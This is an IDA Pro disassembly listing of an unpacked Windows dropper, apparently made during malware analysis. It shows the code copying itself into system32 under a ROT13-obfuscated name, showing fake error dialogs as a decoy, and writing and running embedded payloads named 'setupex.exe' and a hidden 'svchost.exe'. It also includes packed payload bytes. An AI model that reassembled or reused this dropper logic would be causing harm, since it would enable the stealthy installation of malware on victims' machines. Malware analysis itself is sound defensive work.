;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	6F9D99A55905A71238CBAC46959AEB3D

; File Name   :	u:\work\6f9d99a55905a71238cbac46959aeb3d_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00001000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
seg000		segment	para public 'BSS' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
dword_401000	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_401004	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_401008	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_40100C	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_401010	dd 7C86FC8Bh	; resolved to->KERNEL32.BeginUpdateResourceAdword_401014	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_401018	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_40101C	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCount					; sub_401214+17Dr
dword_401020	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResource					; sub_401214+187r
dword_401024	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_401214+1D4r
dword_401028	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_401214+1E6r
dword_40102C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401214+1EDr
dword_401030	dd 7C86136Dh	; resolved to->KERNEL32.WinExec					; sub_401214+20Ar
dword_401034	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesAdword_401038	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_40103C	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryA		dd 0
dword_401044	dd 77C3537Ch	; resolved to->MSVCRT.__set_app_type					; seg000:004016F5o
dword_401048	dd 77C1F1DBh	; resolved to->MSVCRT.__p__fmodedword_40104C	dd 77C4EE2Fh	; resolved to->MSVCRT._controlfpdword_401050	dd 77C1F1A4h	; resolved to->MSVCRT.__p__commodedword_401054	dd 77C623D8h	; resolved to->MSVCRT._adjust_fdivdword_401058	dd 77C4D675h	; resolved to->MSVCRT.__setusermatherrdword_40105C	dd 77C39D67h	; resolved to->MSVCRT._inittermdword_401060	dd 77C1EEEBh	; resolved to->MSVCRT.__getmainargsdword_401064	dd 77C617ACh	; resolved to->MSVCRT._acmdlndword_401068	dd 77C39E7Eh	; resolved to->MSVCRT.exitdword_40106C	dd 77C32DAEh	; resolved to->MSVCRT._XcptFilterdword_401070	dd 77C39E9Ah	; resolved to->MSVCRT._exitdword_401074	dd 77C47C60h	; resolved to->MSVCRT.strstrdword_401078	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_401214+1B5r
dword_40107C	dd 77C478A0h	; resolved to->MSVCRT.strlendword_401080	dd 77C1C9C9h	; resolved to->MSVCRT.tolower; ---------------------------------------------------------------------------


loc_401084:				; DATA XREF: seg000:loc_4015C0r
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 0
dword_40108C	dd 7E41A8ADh	; resolved to->USER32.wsprintfAdword_401090	dd 7E45058Ah	; resolved to->USER32.MessageBoxA		align 8
dword_401098	dd 0FFFFFFFFh, 401572h,	401586h, 3 dup(0)
; =============== S U B	R O U T	I N E =======================================



sub_4010B0	proc near		; CODE XREF: sub_401214+Cp
		call	dword_401038	; GetTickCount
		mov	dword_402150, eax
		retn
sub_4010B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010BC	proc near		; CODE XREF: sub_4011D0+9p
		mov	eax, dword_402150
		imul	eax, 15A4E35h
		inc	eax
		mov	dword_402150, eax
		shr	eax, 10h
		retn
sub_4010BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010D1	proc near		; CODE XREF: sub_4010F3+2Fp
					; sub_4010F3+57p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]


loc_4010D5:				; CODE XREF: sub_4010D1+11j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4010E4
		cmp	cl, [esp+arg_4]
		jz	short loc_4010E4
		inc	eax
		jmp	short loc_4010D5
; ---------------------------------------------------------------------------


loc_4010E4:				; CODE XREF: sub_4010D1+8j
					; sub_4010D1+Ej
		mov	cl, [eax]
		sub	cl, [esp+arg_4]
		neg	cl
		sbb	ecx, ecx
		not	ecx
		and	eax, ecx
		retn
sub_4010D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010F3	proc near		; CODE XREF: sub_40116E+15p

var_38		= byte ptr -38h
var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		push	edi
		push	6
		mov	esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		pop	ecx
		lea	edi, [ebp+var_1C]
		rep movsd
		movsw
		movsb
		push	6
		mov	esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
		pop	ecx
		lea	edi, [ebp+var_38]
		rep movsd
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		movsw
		push	eax
		movsb
		call	sub_4010D1
		pop	ecx
		pop	ecx
		pop	edi
		test	eax, eax
		pop	esi
		jz	short loc_401143
		lea	ecx, [ebp+var_1C]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, 0Dh
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_1C]
		leave
		retn
; ---------------------------------------------------------------------------


loc_401143:				; CODE XREF: sub_4010F3+3Aj
		push	[ebp+arg_0]
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4010D1
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401169
		lea	ecx, [ebp+var_38]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, 0Dh
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_38]
		leave
		retn
; ---------------------------------------------------------------------------


loc_401169:				; CODE XREF: sub_4010F3+60j
		mov	al, byte ptr [ebp+arg_0]
		leave
		retn
sub_4010F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40116E	proc near		; CODE XREF: sub_4011D0+25p
					; sub_401214+41p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, [esp+8+arg_4]
		push	edi
		xor	edi, edi
		mov	al, [esi]
		test	al, al
		jz	short loc_401193


loc_401181:				; CODE XREF: sub_40116E+23j
		push	eax
		inc	esi
		call	sub_4010F3
		mov	[edi+ebx], al
		mov	al, [esi]
		inc	edi
		pop	ecx
		test	al, al
		jnz	short loc_401181


loc_401193:				; CODE XREF: sub_40116E+11j
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40116E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40119D	proc near		; CODE XREF: sub_401214+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_40142E	; strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_4011CB


loc_4011B0:				; CODE XREF: sub_40119D+2Cj
		movsx	eax, byte ptr [esi+edi]
		push	eax
		call	dword_401080	; tolower
		mov	[esi+edi], al
		push	edi
		inc	esi
		call	sub_40142E	; strlen
		pop	ecx
		cmp	esi, eax
		pop	ecx
		jb	short loc_4011B0


loc_4011CB:				; CODE XREF: sub_40119D+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40119D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011D0	proc near		; CODE XREF: sub_401214+6Dp

var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		call	sub_4010BC
		movzx	eax, ax
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_100]
		push	off_402010[edx*4]
		push	eax
		call	sub_40116E
		pop	ecx
		lea	eax, [ebp+var_100]
		pop	ecx
		push	10h
		push	offset aError	; "Error"
		push	eax
		push	0
		call	dword_401090	; MessageBoxA
		leave
		retn
sub_4011D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401214	proc near		; CODE XREF: sub_401434+12Fp

var_480		= byte ptr -480h
var_37C		= byte ptr -37Ch
var_278		= byte ptr -278h
var_178		= byte ptr -178h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 480h
		push	ebx
		push	esi
		push	edi
		call	sub_4010B0
		mov	esi, 104h
		lea	eax, [ebp+var_480]
		push	esi
		push	eax
		call	dword_40103C	; GetWindowsDirectoryA
		lea	eax, [ebp+var_37C]
		push	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_401008	; GetModuleFileNameA
		lea	eax, [ebp+var_278]
		push	offset aHch_rkr	; "hch.rkr"
		push	eax
		call	sub_40116E
		lea	eax, [ebp+var_37C]
		push	eax
		call	sub_40119D
		lea	eax, [ebp+var_278]
		push	eax
		lea	eax, [ebp+var_37C]
		push	eax
		call	dword_401074	; strstr
		add	esp, 14h
		test	eax, eax
		jnz	short loc_401286
		call	sub_4011D0


loc_401286:				; CODE XREF: sub_401214+6Bj
		lea	eax, [ebp+var_278]
		push	eax
		lea	eax, [ebp+var_480]
		push	eax
		lea	eax, [ebp+var_178]
		push	offset aSSystem32S ; "%s\\system32\\%s"
		push	eax
		call	dword_40108C	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		lea	eax, [ebp+var_37C]
		push	eax
		call	dword_40100C	; CopyFileA
		lea	eax, [ebp+var_37C]
		push	ebx
		push	eax
		mov	[ebp+var_178], bl
		call	dword_401010	; BeginUpdateResourceA
		mov	esi, dword_401014
		push	offset aRt_rcdata ; "RT_RCDATA"
		push	69h
		push	[ebp+arg_0]
		call	esi	; FindResourceA
		mov	edi, dword_401018
		push	eax
		push	ebx
		mov	[ebp+var_4], eax
		call	edi	; LoadResource
		push	eax
		call	dword_40101C	; SetHandleCount
		push	[ebp+var_4]
		mov	[ebp+var_C], eax
		push	ebx
		call	dword_401020	; SizeofResource
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_278]
		push	offset aFrghcrk_rkr ; "frghcrk.rkr"
		push	eax
		call	sub_40116E
		push	eax
		lea	eax, [ebp+var_480]
		push	eax
		lea	eax, [ebp+var_178]
		push	offset aSSystem32S ; "%s\\system32\\%s"
		push	eax
		call	dword_401078	; sprintf
		add	esp, 18h
		lea	eax, [ebp+var_178]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	ebx
		push	0C0000000h
		push	eax
		call	dword_401024	; CreateFileA
		lea	ecx, [ebp+var_8]
		push	ebx
		push	ecx
		mov	[ebp+var_10], eax
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	eax
		call	dword_401028	; WriteFile
		push	[ebp+var_10]
		call	dword_40102C	; CloseHandle
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		call	dword_401030	; WinExec
		push	offset aRt_rcdata ; "RT_RCDATA"
		push	67h
		push	[ebp+arg_0]
		call	esi	; FindResourceA
		mov	esi, eax
		push	esi
		push	ebx
		call	edi	; LoadResource
		push	eax
		call	dword_40101C	; SetHandleCount
		push	esi
		push	ebx
		mov	edi, eax
		call	dword_401020	; SizeofResource
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_278]
		push	offset aFipubfg_rkr ; "fipubfg.rkr"
		push	eax
		call	sub_40116E
		push	eax
		lea	eax, [ebp+var_480]
		push	eax
		lea	eax, [ebp+var_178]
		push	offset aSS	; "%s\\%s"
		push	eax
		call	dword_401078	; sprintf
		add	esp, 18h
		lea	eax, [ebp+var_178]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	ebx
		push	0C0000000h
		push	eax
		call	dword_401024	; CreateFileA
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	[ebp+var_4]
		push	edi
		push	esi
		call	dword_401028	; WriteFile
		push	esi
		call	dword_40102C	; CloseHandle
		lea	eax, [ebp+var_178]
		push	7
		push	eax
		call	dword_401034	; SetFileAttributesA
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		call	dword_401030	; WinExec
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401214	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40142E	proc near		; CODE XREF: sub_40119D+9p
					; sub_40119D+23p
		jmp	dword_40107C
sub_40142E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401434	proc near		; CODE XREF: start+A1j

var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_401098
		push	offset loc_4015C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		push	2
		call	dword_401044	; __set_app_type
		pop	ecx
		or	dword_402164, 0FFFFFFFFh
		or	dword_402168, 0FFFFFFFFh
		call	dword_401048	; __p__fmode
		mov	ecx, dword_402160
		mov	[eax], ecx
		call	dword_401050	; __p__commode
		mov	ecx, dword_40215C
		mov	[eax], ecx
		mov	eax, dword_401054
		mov	eax, [eax]
		mov	dword_40216C, eax
		call	nullsub_1
		cmp	dword_402144, ebx
		jnz	short loc_4014B7
		push	offset sub_4015B0
		call	dword_401058	; __setusermatherr
		pop	ecx


loc_4014B7:				; CODE XREF: sub_401434+75j
		call	sub_40159E
		push	offset dword_40200C
		push	offset dword_402008
		call	sub_401598	; _initterm
		mov	eax, dword_402158
		mov	[ebp+var_6C], eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	dword_402154
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		call	dword_401060	; __getmainargs
		push	offset dword_402004
		push	offset dword_402000
		call	sub_401598	; _initterm
		add	esp, 24h
		mov	eax, dword_401064
		mov	esi, [eax]
		mov	[ebp+var_74], esi
		cmp	byte ptr [esi],	22h
		jnz	short loc_40154A


loc_401510:				; CODE XREF: sub_401434+E8j
		inc	esi
		mov	[ebp+var_74], esi
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_40151E
		cmp	al, 22h
		jnz	short loc_401510


loc_40151E:				; CODE XREF: sub_401434+E4j
		cmp	byte ptr [esi],	22h
		jnz	short loc_401527


loc_401523:				; CODE XREF: sub_401434+FBj
		inc	esi
		mov	[ebp+var_74], esi


loc_401527:				; CODE XREF: sub_401434+EDj
					; sub_401434+119j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_401531
		cmp	al, 20h
		jbe	short loc_401523


loc_401531:				; CODE XREF: sub_401434+F7j
		mov	[ebp+var_30], ebx
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_401000	; GetStartupInfoA
		test	byte ptr [ebp+var_30], 1
		jz	short loc_401555
		movzx	eax, [ebp+var_2C]
		jmp	short loc_401558
; ---------------------------------------------------------------------------


loc_40154A:				; CODE XREF: sub_401434+DAj
					; sub_401434+11Fj
		cmp	byte ptr [esi],	20h
		jbe	short loc_401527
		inc	esi
		mov	[ebp+var_74], esi
		jmp	short loc_40154A
; ---------------------------------------------------------------------------


loc_401555:				; CODE XREF: sub_401434+10Ej
		push	0Ah
		pop	eax


loc_401558:				; CODE XREF: sub_401434+114j
		push	eax
		push	esi
		push	ebx
		push	ebx
		call	dword_401004	; GetModuleHandleA
		push	eax
		call	sub_401214
		mov	[ebp+var_68], eax
		push	eax
		call	dword_401068	; exit
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_78], ecx
		push	eax
		push	ecx
		call	sub_401592	; _XcptFilter
		pop	ecx
		pop	ecx
		retn
sub_401434	endp

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-78h]
		call	dword_401070	; _exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401592	proc near		; CODE XREF: sub_401434+14Ap
		jmp	dword_40106C
sub_401592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401598	proc near		; CODE XREF: sub_401434+92p
					; sub_401434+C5p
		jmp	dword_40105C
sub_401598	endp


; =============== S U B	R O U T	I N E =======================================



sub_40159E	proc near		; CODE XREF: sub_401434:loc_4014B7p
		push	30000h
		push	10000h
		call	sub_4015C6	; _controlfp
		pop	ecx
		pop	ecx
		retn
sub_40159E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4015B0	proc near		; DATA XREF: sub_401434+77o
		xor	eax, eax
		retn
sub_4015B0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_4015C0:				; DATA XREF: sub_401434+Ao
		jmp	dword ptr loc_401084

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015C6	proc near		; CODE XREF: sub_40159E+Ap
		jmp	dword_40104C
sub_4015C6	endp

; ---------------------------------------------------------------------------
		dd 40h dup(0)
		db    0
		align 2
		dw 8C01h
		db  10h
		db 40h,	0, 55h
		db  53h	; S
		db 45h,	52h, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
aWsprintfa	db 'wsprintfA',0
aMessageboxa	db 'MessageBoxA',0
		db    0
		dd offset dword_401044
		db 4Dh,	53h, 56h
		db  43h	; C
		db 52h,	54h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
a__set_app_type	db '__set_app_type',0
a__p__fmode	db '__p__fmode',0
a_controlfp	db '_controlfp',0
a__p__commode	db '__p__commode',0
a_adjust_fdiv	db '_adjust_fdiv',0
a__setusermathe	db '__setusermatherr',0
a_initterm	db '_initterm',0
a__getmainargs	db '__getmainargs',0
a_acmdln	db '_acmdln',0
aExit		db 'exit',0
a_xcptfilter	db '_XcptFilter',0
a_exit		db '_exit',0
aStrstr		db 'strstr',0
aSprintf	db 'sprintf',0
aStrlen		db 'strlen',0
aTolower	db 'tolower',0
a_except_handle	db '_except_handler3',0
		align 4
		db  10h
		db 40h,	0, 4Bh
		db  45h	; E
		db 52h,	4Eh, 45h
		db  4Ch	; L
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
aGetstartupinfo	db 'GetStartupInfoA',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGetmodulefilen	db 'GetModuleFileNameA',0
aCopyfilea	db 'CopyFileA',0
aBeginupdateres	db 'BeginUpdateResourceA',0
aFindresourcea	db 'FindResourceA',0
aLoadresource	db 'LoadResource',0
aLockresource	db 'LockResource',0
aSizeofresource	db 'SizeofResource',0
aCreatefilea	db 'CreateFileA',0
aWritefile	db 'WriteFile',0
aClosehandle	db 'CloseHandle',0
aWinexec	db 'WinExec',0
aSetfileattribu	db 'SetFileAttributesA',0
aGettickcount	db 'GetTickCount',0
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		align 4
		dd 1D2h	dup(0)
dword_402000	dd 0		dword_402004	dd 0		dword_402008	dd 0		dword_40200C	dd 0		off_402010	dd offset aPepPurpxfhzSnv ; DATA XREF: sub_4011D0+1Dr
					; "PEP purpxfhz	snvyrq."
		dd offset aCnpxZrgubqAbgV ; "Cnpx zrgubq abg vzcyrzragrq."
		dd offset aPbhyqAbgVavgvn ; "Pbhyq abg vavgvnyvmr vafgnyyngvba.	Svyr"...
		dd offset aSvyrVfPbeehcgr ; "Svyr vf pbeehcgrq."
aSvyrVfPbeehcgr	db 'Svyr vf pbeehcgrq.',0 ; DATA XREF: seg000:0040201Co
		align 4
aPbhyqAbgVavgvn	db 'Pbhyq abg vavgvnyvmr vafgnyyngvba. Svyr fvmr rkcrpgrq=26523, fvmr'
					; DATA XREF: seg000:00402018o
		db ' erghearq=26344.',0
		align 4
aCnpxZrgubqAbgV	db 'Cnpx zrgubq abg vzcyrzragrq.',0 ; DATA XREF: seg000:00402014o
		align 4
aPepPurpxfhzSnv	db 'PEP purpxfhz snvyrq.',0 ; DATA XREF: seg000:off_402010o
		align 10h
aAbcdefghijkl_0	db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_4010F3+1Ao
		align 4
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4010F3+Ao
		align 4
aError		db 'Error',0            ; DATA XREF: sub_4011D0+34o
		align 10h
aSS		db '%s\%s',0            ; DATA XREF: sub_401214+1AFo
		align 4
aFipubfg_rkr	db 'fipubfg.rkr',0      ; DATA XREF: sub_401214+196o
aFrghcrk_rkr	db 'frghcrk.rkr',0      ; DATA XREF: sub_401214+FAo
aRt_rcdata	db 'RT_RCDATA',0        ; DATA XREF: sub_401214+C4o
					; sub_401214+16Ao
		align 4
aSSystem32S	db '%s\system32\%s',0   ; DATA XREF: sub_401214+86o
					; sub_401214+113o
		align 4
aHch_rkr	db 'hch.rkr',0          ; DATA XREF: sub_401214+3Bo
dword_402144	dd 1				align 10h
dword_402150	dd 0B0372A1Eh	dword_402154	dd 0		dword_402158	dd 0		dword_40215C	dd 0		dword_402160	dd 0		dword_402164	dd 0FFFFFFFFh	dword_402168	dd 0FFFFFFFFh	dword_40216C	dd 0				dd 3A4h	dup(0)
		dd 10000h, 20200002h, 10010h, 2E80004h,	10000h,	101010h
		dd 40001h, 128h, 2, 3 dup(0)
		dd 28h,	10h, 20h, 40001h, 0
		dd 80h,	5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 0
		dd 777878h, 0
		dd 708787h, 0
		dd 700h, 2 dup(0)
dword_4030B8	dd 78000000h, 888888h, 77777777h, 787777h, 0B8B8B87Fh
		dd 7800B7h, 8B8B8B7Fh, 780087h,	0B8B8B87Fh, 7800F7h, 8B8B8B7Fh
		dd 780087h, 0B8B8B87Fh,	7800B7h, 0FFFFFF7Fh, 7800F7h, 77B8B878h
		dd 80077h, 878B07h, 80000h, 78707700h, 808888h,	7000000h
		dd 707777h, 0A00001FEh,	11F01FEh, 10E87FFh, 3FCh, 180h
		dd 100h, 7 dup(1100h), 180h, 3C4h, 10E07FEh, 27AAh dup(0)
seg000		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 0000A000 (  40960.)
; Section size in file		: 0000A000 (  40960.)
; Offset to raw	data for section: 0000D000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
seg001		segment	para public 'BSS' use32
		assume cs:seg001
		;org 40D000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 20001h, 80000148h, 80000028h, 3, 80000048h, 0Eh, 80000068h
		dd 3 dup(0)
		dd 20000h, 67h,	80000080h, 69h,	80000098h, 3 dup(0)
		dd 20000h, 1, 800000B0h, 2, 800000C8h, 3 dup(0)
		dd 10000h, 6Bh,	800000E0h, 3 dup(0)
		dd 10000h, 419h, 0F8h, 3 dup(0)
		dd 10000h, 419h, 108h, 3 dup(0)
		dd 10000h, 419h, 118h, 3 dup(0)
		dd 10000h, 419h, 128h, 3 dup(0)
		dd 10000h, 419h, 138h, 0D160h, 3F50h, 2	dup(0)
		dd 110B0h, 5260h, 2 dup(0)
		dd 16324h, 2E8h, 2 dup(0)
		dd 3030h, 128h,	2 dup(0)
		dd 16310h, 22h,	2 dup(0)
aRt_rcdata_0:
		dw 9
		unicode	0, <RT_RCDATA>,0
		align 10h
aMzr		db 'MZ',0
		dd 3, 4, 4550h,	2014Ch,	21475346h, 2 dup(0)
		dd 10F00E0h, 10Bh, 4E00h, 9000h, 0
		dd 12C4Eh, 1000h, 0Ch, 400000h,	1000h, 200h, 4,	0
		dd 4, 0
		dd 13000h, 200h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 12D13h, 34h,	1Dh dup(0)
		dd 74h,	0E000h,	1000h, 5 dup(0)
		dd 0C00000E0h, 0
		dd 61h,	4000h, 0F000h, 3D47h, 200h, 3 dup(0)
		dd 0C00000E0h, 4E52454Bh, 32334C45h, 6C6C642Eh,	4C000000h
		dd 4C64616Fh, 61726269h, 417972h, 74654700h, 636F7250h
		dd 72646441h, 737365h, 6 dup(0)
		dd offset byte_412D09
		dd offset byte_412CFD
		dd offset byte_412CFF
		dd 400198h, 401000h, 40F000h, 406001h, 0
		dd offset dword_4030B8+2924h
		dd 1, 412D3Bh, 0Fh dup(0)
		dd 0FF01AD00h, 68636560h, 7720726Fh, 336E7570h,	64067325h
		dd 61E93EDBh, 6C14530Ah, 210C1647h, 6767E770h, 7573E174h
		dd 0F92EC970h, 1796EA78h, 6975710Ah, 66470F74h,	202D5E8Ch
		dd 268C3A73h, 5A6841F3h, 2D52C856h, 8072493Fh, 61627666h
		dd 631203Ah, 0A0D302Eh,	67301450h, 472D0672h, 0C363776Ch
		dd 79687A26h, 6EC976F3h, 0EB2FD565h, 71726BB8h,	42203B30h
		dd 3D626F09h, 26606168h, 25223D6Ch, 20C36673h, 0E6432D4Bh
		dd 6706C67Eh, 33505E6Ch, 46725A0Fh, 79526E7Eh, 1041CC16h
		dd 796E367Ah, 470F0436h, 0FB667675h, 5922F507h,	165A8C2Dh
		dd 0F0667172h, 309EEB74h, 2090E961h, 672F80C8h,	2D30A12Eh
		dd 93C642C7h, 6B5116A6h, 8D79E58Eh, 363B61C6h, 90191FAh
		dd 1494D446h, 93677266h, 712E6A31h, 2DD8D762h, 35723231h
		dd 513B4BFBh, 7366E44Bh, 52CBE9A3h, 716270E8h, 907448CCh
		dd 9D6F5137h, 912E6405h, 730C02CAh, 1011A2Bh, 0D3BF13A1h
		dd 3E24F401h, 147207Ah,	0FB2023FFh, 288E7B84h, 0EA10290Eh
		dd 0DF4420A2h, 4073A81Ch, 0A4350111h, 0A0EF3210h, 1C9C1099h
		dd 94908F98h, 902403F2h, 8889043Ch, 5206220Fh, 5C86080h
		dd 0B4107894h, 88FF0178h, 30CE5490h, 83219DA4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		adc	dword ptr [ebx+568D0348h], 0FDB8858Dh
		push	es
		cmp	[edi+50h], dl
		push	33617904h
		adc	al, 15h
		mov	al, ds:1546A110h
		sbb	eax, 0E045C150h
		push	1EBC6014h
		mov	eax, gs
		push	1Eh
		cmp	bl, [ecx-1Dh]
		xchg	ah, [edx]
		test	[esi+edi*8+704AC431h], edi
		adc	[eax], eax
		add	esp, 0Ch
		mov	esi, ds:4E13A86Ch
		hlt
; ---------------------------------------------------------------------------
		db 19h
		dd 2C086A57h, 0D69AD375h, 10682290h, 4E3036A3h,	895999CCh
		dd 85FC1D45h, 767485C0h, 0F9570D6Ah, 0DEA8CE3Bh, 0F82C4F2Eh
		dd 2C607434h, 0A480FC16h, 37B96D05h, 6A23082Eh,	0C87B0164h
		dd 1522B75Bh, 14DCC0C4h, 0BB7CF83Bh, 0C02059D9h, 418F5912h
		dd 0DFEAC4Dh, 44A40156h, 8061143Ch, 6D91036Ah, 8EB1BA4h
		dd 981422ECh, 8008A6D1h, 0C95E5F58h, 30448C2h, 1440838Eh
		dd 33575653h, 106AF61Bh, 5093EFD0h, 0E8B81A89h,	0D92C8B05h
		dd 6635F016h, 970428C7h, 7B96E268h, 0D1806674h,	2E47656h
		dd 0EECE6650h, 8A7C1EC8h, 3B4F3D8Bh, 0FB83D80Ah, 56030E8Ah
		dd 8C87D78Dh, 3A535090h, 0D7288AB4h, 0A6A0C14h,	3987B021h
		dd 119489F4h, 74F5F883h, 314D8DE4h, 68EC51FCh, 0B96FE7D0h
		dd 0B09CEA3Ah, 0A84ADD45h, 5B65A4D7h, 0A808A575h, 33538584h
